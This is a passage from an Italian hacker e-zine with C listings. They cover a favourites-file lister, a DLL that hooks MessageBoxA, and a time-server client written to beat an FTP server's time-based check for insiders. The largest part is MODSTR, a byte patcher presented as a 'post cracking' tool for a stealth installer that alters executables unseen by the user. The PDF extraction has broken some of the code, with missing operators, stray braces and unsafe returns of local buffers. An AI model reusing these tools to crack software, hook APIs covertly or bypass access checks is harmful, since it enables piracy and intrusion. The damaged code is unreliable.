Pagina 51
velocemente .. emh.. a tutti
gli exe presenti su un hd. :))
netrun9.txt
Questo potrebbe un esempio -non malizioso- di utilizzo (quelli maliziosi li
lascio alla vostra
immaginazione!)
Quante volte vi hanno chiesto di fare un bookmark con tutti i siti che avete
nelle preferenze?
NESSUNA?? ha ha .. beh a me spesso e volentieri.
Potreste usare la procedura VEDI in questo modo
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::
bookmark.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::
#include <stdio.h>
#include <string.h>
#include <dir.h>
#include <dos.h>
int c=1;
int vedi(char *dir,char *spec){
struct ffblk trova;
int t;
char s[200];
FILE *f;
sprintf(s,"%s\\%s",dir,"*.*");
t = findfirst(s,&trova,FA_DIREC);
while(!t){
if(strstr(trova.ff_name,spec))
{
sprintf(s,"%s\\%s",dir,trova.ff_name);
printf(": %3d\n: %s\n",c++,s);
f=fopen(s,"rb");
fscanf(f,"%s",s);fscanf(f,"%s",s);
printf(": ... %s\n\n",s);
fclose(f);
}
if(trova.ff_attrib==0x10){
if(trova.ff_name[0]!='.'){
sprintf(s,"%s\\%s",dir,trova.ff_name);
vedi(s,spec);}}
t=findnext(&trova);}}
char *toup(char *a){
int i=0;
char *c=(char *)malloc(strlen(a)+2);
while((c[i]=toupper(a[i]))!=0)i++;
return(c);
}
int main(){
clrscr();
vedi("c:\\windows\\prefer~1",toup(".url"));
printf("\n\nTrovati %d files.",c-1);}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::
con BOOKMARK > lista.txt
otterete la lsita completa di tutti i siti che avrete messo nelle preferenze
(usando explorer!)
Pagina 52
con le seguenti caratteristiche
netrun9.txt
-------------------- lista.txt
:
1
: c:\windows\prefer~1\STRANI\UNUSUA~1.URL
: ... URL=http://www.bme.freeq.com/skulls/
:
2
: c:\windows\prefer~1\RUNEST~1.URL
: ... URL=http://www.chem.lsu.edu/cbury/ETEP/Tolkien/R/rune/index.htm
:
3
: c:\windows\prefer~1\SCIENZA\UNIVER~1.URL
: ... URL=http://www.astro.virginia.edu/
:
4
: c:\windows\prefer~1\SCIENZA\SCIENT~1.URL
: ... URL=http://www.scientificamerican.com/askexpert/index.html
....
------------------------(compilando a 32bit invece che a 16 come ho fatto io avrete anche la
visualizzazione dei
nomi lunghi replicando oltre alla url anche il titolo esatto che gli avevate
precedentemente
associato.)
Nota di utilizzo.
I nomi dei file e delle directory vengono letti come stringa quindi non e'
possibile cercare file
usando i jolly char dicendo ad esempio
vedi("c:\\windows","*.EXE");
(per cercare tutti gli EXE)
ma dato che la procedura cerca gli spezzoni citati all'interno delle stringhe
dei nomi
sara' sufficiente scrivere
vedi("c:\\windows",".EXE");
..per cercare tutti gli EXE!
oppure
vedi("c:\\windows",".TXT")
vedi("c:\\windows","SPP")
contengono la parola SPP
.. per cercare tutti i file di testo
.. per cercare tutti i file e le directory che
vedi("c:\\windows","2.EXE") .. per cercare tutti i file con estensione EXE che
finiscono col
carattere "2"
ps. Dato che la struttura ffblk replica i nomi tutti in caratteri maiuscoli e'
necessario usare
a nostra volta tutti-i-caratteri-maiuscoli per le considerazioni del caso.
L'istruzione STRSTR poi, necessaria al controllo degli -spezzoni- ed usata per
verificare la presenza
di questi ultimi all'interno delle stringhe della name_file_table_list, e'
case-sensitive!
(ovvero fa differenza tra "exe" ed "EXE"!)
Pagina 53
netrun9.txt
Nel programma sopra per usare le lettere minuscole io mi sono avvalso della
procedura di supporto
TOUP :
----------------------------char *toup(char *a){
int i=0;
char *c=(char *)malloc(strlen(a)+2);
while((c[i]=toupper(a[i]))!=0)i++;
return(c);
}
----------------------------al fine di convertire tutti i caratteri minuscoli di una stringa in maiuscoli.
da qui la spiegazione della riga di ricerca nella mail procedure :
vedi("c:\\windows\\prefer~1",toup(".url"));
che altrimenti sarebbe dovuta essere :
vedi("c:\\windows\\prefer~1",".URL");
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------10. Intercettare chiamate Api sostiuendo alle stesse procedure diverse.
//-------------------------------------------------------------------------------------------------due semplici programmi per intercettare la api MessageBox
(con lo stesso sisteme e' semplice modificare anche altre chiamate ovviamente)
1. la libreria DLL che si occupa di intercettare la MessageBox originale
-------------------------------- libreria.c
#include <windows.h>
#pragma hdrstop
typedef int(*MESSAGEBOX)(HWND,LPCTSTR,LPCTSTR,UINT);
typedef FARPROC (*SETPROCADDRESS)(HMODULE , PSTR, FARPROC);
HMODULE a= NULL;
HMODULE b= NULL;
HMODULE c= NULL;
MESSAGEBOX d = NULL;
SETPROCADDRESS id = NULL;
char buf[256];
int WINAPI INTERCETTA(HWND ha,LPCTSTR lt,LPCTSTR tx,UINT tt){
return d(ha,lt," testo che INVECE appare. ;-) " ,tt);}
BOOL WINAPI DLLEntry(HMODULE un, DWORD caso, LPVOID xxx)
{
switch(caso){
Pagina 54
netrun9.txt
case DLL_PROCESS_ATTACH:
a = un;
b = LoadLibrary("..\\newapi32.dll");
id = (SETPROCADDRESS)GetProcAddress(b, "SetProcAddress");
c = LoadLibrary("user32.dll");
d=(MESSAGEBOX)(id)(c, "MessageBoxA",(FARPROC)INTERCETTA);
break;
case DLL_PROCESS_DETACH:
d=(MESSAGEBOX)(id)(c, "MessageBoxA",(FARPROC)d);
FreeLibrary(b);
break;
default: break;}
return TRUE;
}
-------------------------------programma di prova.
-------------------------------- programma.c
#include <windows.h>
#include <stdio.h>
typedef int
(*MESSAGEBOX)(HWND,LPCTSTR,LPCTSTR,UINT);
MESSAGEBOX
HMODULE
mb = NULL;
hu = NULL;
main()
{
HMODULE bb;
CHAR
ch;
hu = LoadLibrary("user32.dll");
bb = LoadLibrary("libreria.dll");
if(bb){
mb=(MESSAGEBOX)GetProcAddress(hu, "MessageBoxA");
(mb)(NULL,"Testo che dovrebbe apparire ","Titolo",MB_OK);
FreeLibrary(bb);};
FreeLibrary(hu);
return TRUE;}
-------------------------------Il semplice caricamento della libreria LIBRERIA.DLL installa la nostra nuova
api sopra quella gia'
preesistente intervenendo sul risultato della operazione di creazione del form
message.
Normalmente dovrebbe apparire un form message con titolo "Titolo" e con testo
"Testo che dovrebbe
apparire" .. all'atto della chiamata libreria.dll sostituisce al testo
originale la scritta
"Testo che INVECE appare. ;-)"
A cosa potrebbe servire? .. BOOHHH .. ha ha ha
a qualcosa servira' di certo a gente con la vostra fervida immaginazione. :))
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
Pagina 55
netrun9.txt
//-------------------------------------------------------------------------------------------------11. Time server in c, come linkarsi ad un orologio atomico.
//-------------------------------------------------------------------------------------------------Questo me lo aveva chiesto HAL9000 preoccupato del fatto che doveva collegarsi
ad un sito FTP
della sua universita'.
L'amministratore del sito aveva pensato bene di installare un robot che
verificava il time event
di connessione dei nuovi utenti. Perche' questo?
L'idea era buona. Il server era connesso direttamente all'orologio atomico del
cnr e dato che gli
utenti interni sfruttavano terminali passivi connessi alla stessa macchina
(e che quindi erano linkati allo stesso timer) era logico presupporre che solo
utenti in possesso di
password e recanti time event analoghi o differenti di pochissimo dal server
provenivano dall'interno
indipendentemente dall'ip mostrato.
Ma fatta la legge.. he he ..
Dal cercare di connettersi al server ftp modificando preventivamente il proprio
orologio interno
(e la data) sull'ora dell'orologio atomico del cnr e' venuto fuori questo
programma.
Un time server tipo quello del CNR e' un servizio molto semplice ed efficace.
Ci si connette all'Ip prestabilito su una porta che solitamente e' la n.13.
A seconda del server utilizzato si avranno diversi tipi di risposta.
Il time server del CNR e' decisamente molto evoluto in quanto controlla dall'IP
la zona di provenienza
degli utenti che si connettono al servizio e replica con una stringa di
caratteri contenente la data
e l'ora adeguata alla zona del richiedente (ora legale compresa)
Quindi collegandosi da Boston si avrebbe l'ora di Boston, collegandosi da
Firenze quella di Firenze..
e cosi' via.
Fa eccezione il caso di Pisa. I pisani infatti nella maggior parte dei casi non
sono in grado ne di
leggere l'italiano ne di leggere l'ora sull'orologio e quindi nel loro caso il
server invia dei piccoli
disegni esplicativi:
un aratro se e' mattina, un tegame se e' mezzogiorno, un berrettino da notte se
sono le 18.00 e una
donnina con la gonna sollevata per i pisani che soffrono di insonnia e si
attardano
alzati ben dopo l'ora di coricamento del pollame. :))
Cmq se non siete di Pisa questo e' il programma che fa per voi:
La base per la query e per la visualizzazione della risposta sarebbe tutta qui:
---------------------- Time server MINIMO:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::
ORA.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define SS "155.253.17.2"
#define PP 0x0d
main()
Pagina 56
netrun9.txt
{
//-------------------------------------------WSAData a;
SOCKET b;
long gg;
struct sockaddr_in c;
int d,n,m;
char e[0xff];
//-------------------------------------------gg=WSAStartup(0x0101,&a);
b = socket(AF_INET,SOCK_STREAM,0);
c.sin_family = AF_INET;
c.sin_port = htons(PP);
c.sin_addr.s_addr = inet_addr(SS);
d=connect(b,(struct sockaddr *)&c,sizeof(c));
n=recv(b,e,sizeof(e),0);
for(m=1;m<=n; m++)
printf("%c",e[m-1]);
printf("\n");
closesocket(b);
//-------------------------------------------}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::
Il programma apre un socket alla posta 13 sul servizio dell'orologia atomico
del CNR interrogandolo
sull'ora e sulla data.
Quindi visualizza sulla consolle la stringa di risposta.
Ovviamente per andare a modificare l'ora sul proprio computer sono necessari
altri passaggi.
Il programma completo e' quindi questo:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::
OROFIN.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::
//-----------------------------------------------------------------------------#include <stdio.h>
#include <string.h>
#include <dos.h>
#include <conio.h>
#include <math.h>
#include <windows.h>
#include <winsock.h>
#define PP 0x0d
#define L fscanf(f,"%s",ps)
#define ORE mid(ps,0,p1)
#define MIN mid(ps,p1+1,p2-p1-1)
#define SEC mid(ps,p2+1,strlen(ps)-p2)
#define SS "155.253.17.2"
//-----------------------------------------------------------------------------// --------- Prototipi
//-----------------------------------------------------------------------------char *mid(char *str,int pos,int nc);
int instr(char *st1,char *st2,int pos);
long jl(int day,int month,int year);
// --------- Dichiarazioni costanti
char mesi[12][4]={"Jan","Feb","Mar","Apr","May","Jun",
"Jul","Aug","Sep","Oct","Nov","Dec"};
char giorni[7][4]={"Mon","Tue","Wed","Thu","Fri","Sat","Sun"};
Pagina 57
netrun9.txt
//-----------------------------------------------------------------------------//-----------------------------------------------------------------------------main(int nf,char **par)
{
// --------- Variabili e strutture
WSAData a;
SOCKET b;
long gg;
long g1,g2,g3;
float pk;
struct sockaddr_in c;
int dp,n,m;
char e[0xff];
FILE *f;
char ps[50],pp[10];
int p1,p2;
long sec1;
struct time t;
struct date d;
// --------- Verifica della sintassi
if(nf!=2){
printf("\n+----------------------------------------------------+\n");
printf("|
OROLOGIO ATOMICO DEL CNR : CLIENT LOCALE
|\n");
printf("|
(c)2K Master www.spippolatori.com
|\n");
printf("+----------------------------------------------------+\n");
printf("| Sintassi : OROFIN -[c|s]
|\n");
printf("+----------------------------------------------------+\n");
printf("| OROFIN -c (controlla e visualizza l'ora del server)|\n");
printf("| OROFIN -s (sincronizza il pc locale col server)
|\n");
printf("+----------------------------------------------------+\n");
exit(0);
}
if((!strstr(par[1],"-c"))&&(!strstr(par[1],"-s")))
{
printf("\n+----------------------------------------------------+\n");
printf("|
PARAMETRO NON CORRETTO
|\n");
printf("+----------------------------------------------------+\n");
exit(0);
}
// --------- Recupera le informazioni dal server
gg=WSAStartup(0x0101,&a);
b = socket(AF_INET,SOCK_STREAM,0);
c.sin_family = AF_INET;
c.sin_port = htons(PP);
c.sin_addr.s_addr = inet_addr(SS);
dp=connect(b,(struct sockaddr *)&c,sizeof(c));
n=recv(b,e,sizeof(e),0);
f=fopen("Ora_esatta.txt","wb");
for(m=1;m<=n; m++)
fprintf(f,"%c",e[m-1]);
fprintf(f,"%c",10);
fclose(f);
closesocket(b);
// --------- Ora del PC
gettime(&t);
getdate(&d);
// --------- Formatta i dati del server in stile dos
printf("\nControllo dati Time-server atomic-clock CNR\n");
printf("------------------------------------------------\n");
f=fopen("Ora_esatta.txt","rb");
fgets(ps,50,f);
printf("Remoto : %s",ps);
g1=jl(0x001f,0x0005,0x07a9);
Pagina 58
netrun9.txt
g2=jl(d.da_day,d.da_mon,d.da_year);
pk=abs(g2-g1);
g1=fmod(pk,7);
printf("Locale : %s %s %02d %2d:%02d:%02d %4d\n",
giorni[g1+2],mesi[d.da_mon-1],d.da_day,t.ti_hour,t.ti_min,t.ti_sec,d.da_year);
printf("------------------------------------------------\n");
printf("Remoto : Locale\n");
rewind(f);
L;printf(" %4s : %4s ... Giorno della settimana\n",ps,giorni[g1+2]);
L;printf(" %4s : %4s ... Mese\n",ps,mesi[d.da_mon-1]);
for(m=0;m<12;m++)if(strstr(mesi[m],ps))d.da_mon=m+1;
L;printf(" %4s : %4d ... Giorno del mese\n",ps,d.da_day);
d.da_day=atoi(ps);
L;p1=instr(ps,":",0);p2=instr(ps,":",p1+1);
printf(" %4s : %4d ... Ore\n",ORE,t.ti_hour);
t.ti_hour=atoi(ORE);
printf(" %4s : %4d ... Minuti\n",MIN,t.ti_min);
t.ti_min=atoi(MIN);
printf(" %4s : %4d ... Secondi\n",SEC,t.ti_sec);
sec1=atoi(ORE)*3600+atoi(MIN)*60+atoi(SEC)t.ti_hour*3600-t.ti_min*60-t.ti_sec;
t.ti_sec=atoi(SEC);
L;printf(" %4s : %4d ... Anno\n",ps,d.da_year);
d.da_year=atoi(ps);
// --------- calcola la differenza in secondi tra i due timer
// --------- senza considerare la data.
printf("------------------------------------------------\n");
printf("Differenza Timer Server-Locale = %ld sec.\n",sec1);
printf("------------------------------------------------\n\n");
fclose(f);
// --------- Setta timer e data del pc locale con i dati ricevuti
// --------- dall'orologio atomico del CNR.
if(strstr(par[1],"-s"))
{
settime(&t);
setdate(&d);
printf("------------------------------------------------\n");
printf(" PC Locale sincronizzato.\n");
printf("------------------------------------------------\n");
}
} // --------- fine
//-----------------------------------------------------------------------------// --------- Procedure di supporto
//-----------------------------------------------------------------------------char *mid(char *str,int pos,int nc)
{
char s[0xff];
int n,k=0;
for(n=pos;n<=pos+nc-1;n++)
s[k++]=str[n];
s[k]=0;
return(s);
}
//-----------------------------------------------------------------------------//-----------------------------------------------------------------------------int instr(char *st1,char *st2,int pos)
{
int tro,n,m;
for(n=pos;n<=strlen(st1)-strlen(st2);n++){
tro=1;
for(m=n;m<=n+strlen(st2)-1;m++)
if(st1[m]!=st2[m-n])tro=0;
if(tro==1)return(n);}
Pagina 59
return(-1);
netrun9.txt
}
//-----------------------------------------------------------------------------//-----------------------------------------------------------------------------long jl(int gr,int ms,int an)
{
long un,du,tr,qu;
if(an<100)an+=1900;
if(an<1000)an+=2000;
if(ms>2){tr=(long)(ms-3);qu=(long)an;}
else{tr=(long)(ms+9);qu=(long)(an-1);}
un=(qu/100);
du=qu-(100*un);
return((146097L*un)/4L+(1461L*du)/
4L+(153L*tr+2)/5L+1721119L+(long)gr);
}
//------------------------------------------------------------------------------
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::
Come funziona?
Basta compilarlo e chiamarlo senza parametri per avere un po' di aiuto.
Cmq la sintassi e' questa (molto semplice ed immediata)
OROFIN -c
per controllare solamente l'ora e la data in arrivo dal server ed confrontarla
con quella del proprio
orologio in locale visualizzando i secondi di differenza.
OROFIN -s
per controllare e successivamente settare l'ora del proprio orologio con quella
dell'orologio atomico
del CNR.
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------12. Tool per il post cracking rapido.
//-------------------------------------------------------------------------------------------------L'ho inserito sin dall'inizio come plugin per lo stealth installer 2 data la
sua enorme utilita'
e il funzionamento a sua volta completamente stealth.
Pagina 60
netrun9.txt
Lo replico qui per chi -impaurito- dalle opzioni (mi rendo conto!) non troppo
semplici dello
stealth installer non ha avuto ancora occasione di provarlo.
Il funzionamento e la sintassi deicomandi e' questa:
1.
MODSTR.exe
[ versione 2 ]
Modstr e' un plugin specifico per SI2 [ma nella toglie che possa essere usato
anche
separatamente ;-) ].
Serve per modificare in maniera anonima un programma qualsiasi .. sia esso un
file di
testo che un un eseguibile, in maniera sicura, veloce e sopratutto invisibile
all'utente finale.
SINTASSI :
<aN>
<aN>
MODSTR <file>
STR:
<str1>
MODSTR
MODSTR
<file>
<file>
<N>
<N>
MODSTR
<file>
STRASS:
<pos>
<str1>
MODSTR
MODSTR
<file>
<file>
HEXASS:
DECASS:
<pos>
<pos>
<d1> <d2> ... <dN>
<d1> <d2> ... <dN>
MODSTR
<file>
STRFIN:
<pos>
<str1>
MODSTR
MODSTR
<file>
<file>
HEXFIN:
DECFIN:
<pos>
<pos>
<d1> <d2> ... <dN>
<d1> <d2> ... <dN>
MODSTR
<file>
STRREL:
<pos>
<str1>
MODSTR
<file>
<N>
HEXREL: <pos>
<d1> <d2> ... <dN>
<a1> <a2> ...
MODSTR
<file>
<N>
DECREL: <pos>
<d1> <d2> ... <dN>
<a1> <a2> ...
HEX:
DEC:
<str2>
<d1> <d2> ... <dN>
<d1> <d2> ... <dN>
<a1> <a2> ... <aN>
<a1> <a2> ... <aN>
<str2>
//-------------------------------------------------------------------------------(modifica di stringhe ASCII)
//-------------------------------------------------------------------------------MODSTR
<Nome_file>
STR:
<stringa_da>
<stringa_a>
con
stringa_da = stringa da cercare nel programma nome_file e da modificare
stringa_a .. ogni occorrenza sara' cambiata.
es: MODSTR c:\windows\prog.exe
visto
STR:
Start
Parti
.. da ricordare che Parti e' una stringa diversa da parti o da parTi
che il programma e' case-sensitive.
//-------------------------------------------------------------------------------Pagina 61
MODSTR
<Nome_file>
netrun9.txt
STRASS: <pos>
<str>
inserisce nel file la stringa str a partire dalla posizione pos.
es: MODSTR c:\windows\prog.exe
STRASS: 0 PK
cambia i primi due byte del file prog.exe in PK
//-------------------------------------------------------------------------------MODSTR
<Nome_file>
STRFIN: <pos>
<str>
stesse specifiche di STRASS: ma la posizione pos e' calcolata a partire
dall'ultimo byte del file in questione.
es: MODSTR c:\windows\prog.exe STRFIN: 5 PIPPO
sostituisce gli ultimi 5 byte del file prog exe con la parola PIPPO.
es: MODSTR c:\windows\prog.exe STRFIN: 0 PIPPO
Aggiunge i bytes della parola PIPPO alla fine del file prog.exe
//-------------------------------------------------------------------------------MODSTR
<Nome_file>
STRREL: <pos> <stringa_da>
<stringa_a>
con
pos
stringa_da = stringa da cercare nel programma nome_file e da modificare
stringa_a .. sara' cambiata una sola occorrenza a partire dala locazione
es: MODSTR c:\windows\prog.exe
STRREL:
5000 Start
Parti
cambia la prima occorrenza che trova in prog.exe da Start a Parti
ignorando
i primi 5000 bytes.
//--------------------------------------------------------------------------------
//-------------------------------------------------------------------------------b. (modifica di dati in codice esadecimale)
//-------------------------------------------------------------------------------MODSTR
<Nome_file> <N>
HEX: da1 da2 da3 ... daN
a1 a2 a3 ... aN
cambia gli N byte di un file d1 d2 d3 .. daN in a1 a2 a3 .. aN
Cambia tutte le occorrenze che trova nel file
MODSTR c:\windows\prog.exe
5
HEX:
53 74 61 72 74
50 61 72 74 69
//-------------------------------------------------------------------------------MODSTR
<Nome_file> HEXASS:
<pos>
da1 da2 da3 ... daN
sostituisce al file originale N byte a partire dalla locazione pos.
MODSTR c:\windows\prog.exe
61 FF 75
HEXASS:
12384
53 74 61 FF 74
i primi 5 bytes dopo la locazione 12384 del file prog.exe saranno 53 74
Pagina 62
netrun9.txt
//-------------------------------------------------------------------------------MODSTR
<Nome_file> HEXFIN:
<pos>
da1 da2 da3 ... daN
come sopra ma partendo dalla fine. (impostanto 0 come posizione o
dichiarando
una locazione inferiore al numero di bytes impostati l'eccedenza verra'
aggiunta al file.)
MODSTR c:\windows\prog.exe HEXFIN:
100
53 74 61 FF 74
1 primi 5 bytes a partire dagli ultimi 100 byte del file prog.exe
saranno 53 74 61 FF 75
//-------------------------------------------------------------------------------MODSTR <Nome_file> <N> HEXREL: <pos> da1 da2 ... daN
a1 a2 ... aN
con
cambia la prima serie di dati esadecimali che trova uguali a da1..daN
a1..aN a partire dalla locazione POS.
es: MODSTR c:\windows\prog.exe
serie
3 STRREL:
5000 FF 0D 0a
20 20 20
a partire dal 5000'mo bytes del file prog.exe comincia a cercare una
di dati FF+0D+0a
se la trova la cambia (una sola volta) con 20+20+20
//--------------------------------------------------------------------------------
//-------------------------------------------------------------------------------b. (modifica di dati in codice decimale)
//-------------------------------------------------------------------------------MODSTR
<Nome_file> <N>
DEC: da1 da2 da3 ... daN
a1 a2 a3 ... aN
cambia gli N byte di un file d1 d2 d3 .. daN in a1 a2 a3 .. aN
Cambia tutte le occorrenze che trova nel file
MODSTR c:\windows\prog.exe
5
DEC:
53 74 61 72 74
50 61 72 74 69
//-------------------------------------------------------------------------------MODSTR
<Nome_file> DECASS:
<pos>
da1 da2 da3 ... daN
sostituisce al file originale N byte a partire dalla locazione pos.
MODSTR c:\windows\prog.exe
DECASS:
12384
53 74 61 255 74
i primi 5 bytes dopo la locazione 12384 del file prog.exe saranno 53 74
61 255 75
//-------------------------------------------------------------------------------MODSTR
<Nome_file> DECFIN:
<pos>
da1 da2 da3 ... daN
come sopra ma partendo dalla fine. (impostanto 0 come posizione o
dichiarando
Pagina 63
netrun9.txt
una locazione inferiore al numero di bytes impostati l'eccedenza verra'
aggiunta al file.)
MODSTR c:\windows\prog.exe DECFIN:
100
53 74 61 255 74
1 primi 5 bytes a partire dagli ultimi 100 byte del file prog.exe
saranno 53 74 61 255 75
//-------------------------------------------------------------------------------MODSTR <Nome_file> <N> DECREL: <pos> da1 da2 ... daN
a1 a2 ... aN
cambia la prima serie di dati decimali che trova uguali a da1..daN con
a1..aN a partire dalla locazione POS.
es: MODSTR c:\windows\prog.exe
serie
3 STRREL:
5000 255 13 10
32 32 32
a partire dal 5000'mo bytes del file prog.exe comincia a cercare una
di dati 255+13+10
se la trova la cambia (una sola volta) con 32+32+32
//--------------------------------------------------------------------------------
a ruota il sorgente del programma :
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::
MODSTR.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::
#include <stdio.h>
#include <string.h>
#include <conio.h>
#include <dos.h>
#include <windows.h>
#include <stdlib.h>
#include <ctype.h>
#define xdigit(c)(toupper(c)-(((c)>'9')?'A'-10:'0'))
#include <io.h>
unsigned int hs(char *cptr){
unsigned int i, j = 0;
while (cptr && *cptr && isxdigit(*cptr)){
i=*cptr++-'0';
if(9<i)i-=7;
j<<=4;
j|=(i&0x0f);}
return(j);}
main(int nf,char **file){
int a,b,trova,n;
FILE *fp,*fp2;
char str[200];
int c,ok,pos,i;
int fa=1;
long lung;
char leggi[255];
char scrivi[255];
c=open(file[1],0);lung=filelength(c);close(c);
c=-1;
if(nf<=4)exit(0);
if(strstr(file[2],"STRASS:")){
fp=fopen(file[1],"r+b");
fseek(fp,atol(file[3]),0);
Pagina 64
netrun9.txt
fputs(file[4],fp);
fclose(fp);}
if(strstr(file[2],"STRFIN:")){
fp=fopen(file[1],"r+b");
fseek(fp,lung-atol(file[3]),0);
fputs(file[4],fp);
fclose(fp);}
if(strstr(file[2],"DECASS:")){
fp=fopen(file[1],"r+b");
fseek(fp,atol(file[3]),0);
for(i=4;i<=nf-1;i++)
fputc(atoi(file[i]),fp);
fclose(fp);}
if(strstr(file[2],"DECFIN:")){
fp=fopen(file[1],"r+b");
fseek(fp,lung-atol(file[3]),0);
for(i=4;i<=nf-1;i++)
fputc(atoi(file[i]),fp);
fclose(fp);}
if(strstr(file[2],"HEXASS:")){
fp=fopen(file[1],"r+b");
fseek(fp,atol(file[3]),0);
for(i=4;i<=nf-1;i++)
fputc(hs(file[i]),fp);
fclose(fp);}
if(strstr(file[2],"HEXFIN:")){
fp=fopen(file[1],"r+b");
fseek(fp,lung-atol(file[3]),0);
for(i=4;i<=nf-1;i++)
fputc(hs(file[i]),fp);
fclose(fp);}
if(strstr(file[3],"HEX:")){
c=atoi(file[2]);
for(n=0;n<c;n++){
leggi[n]=hs(file[4+n]);
scrivi[n]=hs(file[4+n+c]);}
fa=1;}
if(strstr(file[2],"STR:")){
if(strlen(file[3])>strlen(file[4])){
printf("Dimensione errata delle stringhe");
exit(0);}
c=strlen(file[3]);
for(n=0;n<strlen(file[3]);n++){
leggi[n]=file[3][n];
scrivi[n]=file[4][n];}
fa=1;}
if(strstr(file[2],"STRREL:")){
if(strlen(file[4])>strlen(file[5])){
printf("Dimensione errata delle stringhe");
exit(0);}
c=strlen(file[4]);
for(n=0;n<strlen(file[4]);n++){
leggi[n]=file[4][n];
scrivi[n]=file[5][n];}
fa=2;}
if(strstr(file[3],"DECREL:")){
c=atoi(file[2]);
for(n=0;n<c;n++){
leggi[n]=atoi(file[5+n]);
scrivi[n]=atoi(file[5+n+c]);}
fa=2;}
if(strstr(file[3],"HEXREL:")){
c=atoi(file[2]);
for(n=0;n<c;n++){
leggi[n]=hs(file[5+n]);
scrivi[n]=hs(file[5+n+c]);}
fa=2;}
if(strstr(file[3],"DEC:")){
c=atoi(file[2]);
Pagina 65
for(n=0;n<c;n++){
leggi[n]=atoi(file[4+n]);
scrivi[n]=atoi(file[4+n+c]);}
fa=1;}
netrun9.txt
if(c<0)exit(0);
fp=fopen(file[1],"rb");
fp2=fopen("passa.exe","wb");
if(strstr("STRREL:",file[2])){
for(i=0;i<=atol(file[3])-1;i++)
fputc(fgetc(fp),fp2);}
if(strstr("DECREL:",file[3])||strstr("HEXREL:",file[3])){
for(i=0;i<=atol(file[4])-1;i++)
fputc(fgetc(fp),fp2);}
}
while(!feof(fp)){
a=fgetc(fp);
if(a==leggi[0]){
b=1;
for(n=1;n<c;n++)
if(fgetc(fp)!=leggi[n])b=0;
if(b==1){
fseek(fp,ftell(fp)-c,0);
// printf("trovato a %d\n",ftell(fp));
for(n=0;n<c;n++){
a=fgetc(fp);
if(fa==1||fa==2)fputc(scrivi[n],fp2);
else fputc(a,fp2);}
if(fa==2)fa=0;
a=fgetc(fp);}
else{
fseek(fp,ftell(fp)-c,0);
// printf("saltato a %d\n",ftell(fp));
a=fgetc(fp);}}
if(a>=0)fputc(a,fp2);}
fclose(fp);
fclose(fp2);
remove(file[1]);
rename("passa.exe",file[1]);
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------13. Emulatore di funzioni basic per la gestione delle stringhe in c
//--------------------------------------------------------------------------------------------------
Pagina 66
che dire?..
basic
netrun9.txt
alcune semplici funzioni per poter usare in C le comode funzioni
mid, left, instr
con due righe di esempio.
Provare per credere. ;-)
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::
#include <stdio.h>
#include <string.h>
#include <conio.h>
char *mid(char *str,int pos,int nc);
